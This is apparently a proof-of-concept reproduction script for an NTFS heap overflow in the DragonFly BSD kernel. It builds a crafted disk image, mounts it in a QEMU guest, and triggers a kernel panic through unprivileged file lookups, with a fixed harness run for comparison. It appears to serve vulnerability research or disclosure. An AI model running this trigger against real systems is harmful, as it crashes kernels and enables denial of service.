#!/bin/sh
# DF-0785 run: live reproduction of the ntfs_ntlookupfile heap overflow.
# Requires a DragonFly guest with the ntfs.ko module and /sbin/mount_ntfs.
# The mount step is privileged (SYSCAP_RESTRICTEDROOT); the trigger is the
# unprivileged name lookup (run as uid 1001 maxx).  Adjust SSH to taste.
set -e
cd "$(dirname "$0")"

VM="${VM:-./dfbsd-qemu/vm.sh}"

echo "[run] host: crafting evil NTFS image"
python3 craft_img.py ntfs_evil.img 256 896

echo "[run] copying image + harness into the guest"
scp -F dfbsd-qemu/config ntfs_evil.img craft_img.py harness.c harness_fixed.c \
    dfbsd:/root/

echo "[run] guest: build harnesses"
$VM run_root 'cd /root && cc -O2 -o harness harness.c && cc -O2 -o harness_fixed harness_fixed.c'

echo "============================================================"
echo "[run] A) DETERMINISTIC harness (no slab luck needed)"
echo "  unfixed -> SIGSEGV (exit 139); fixed -> clean (exit 0)"
echo "============================================================"
$VM run_root 'cd /root && echo "-- unfixed --" && (./harness 16 200; echo exit=$?); echo "-- fixed --" && (./harness_fixed 16 200; echo exit=$?)'

echo "============================================================"
echo "[run] B) LIVE kernel overflow (unfixed ntfs.ko)"
echo "  mount crafted image (root) then name lookups (maxx) -> panic"
echo "============================================================"
$VM run_root 'kldload ntfs 2>/dev/null; umount /mnt 2>/dev/null; vnconfig -u vn0 2>/dev/null; vnconfig -c vn0 /root/ntfs_evil.img && mount -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt && echo MOUNTED'

echo "[run] unprivileged trigger (heavy churn walks the corrupted slab freelist)"
timeout 60 $VM run_user 'for i in $(seq 1 200); do stat /mnt/r$i >/dev/null 2>&1; done; for i in $(seq 1 200); do ( true ); done; ls -la /mnt >/dev/null 2>&1; sleep 3; echo TRIGGER_DONE; id -u' || true

echo "[run] post-trigger status (expect DOWN after the slab_cleanup panic):"
$VM status || true
echo "[run] panic signature (from dfbsd-qemu/boot.log):"
grep -E 'panic:|chunk_mark_free|slab_cleanup|Stopped at' dfbsd-qemu/boot.log | tail -8 || true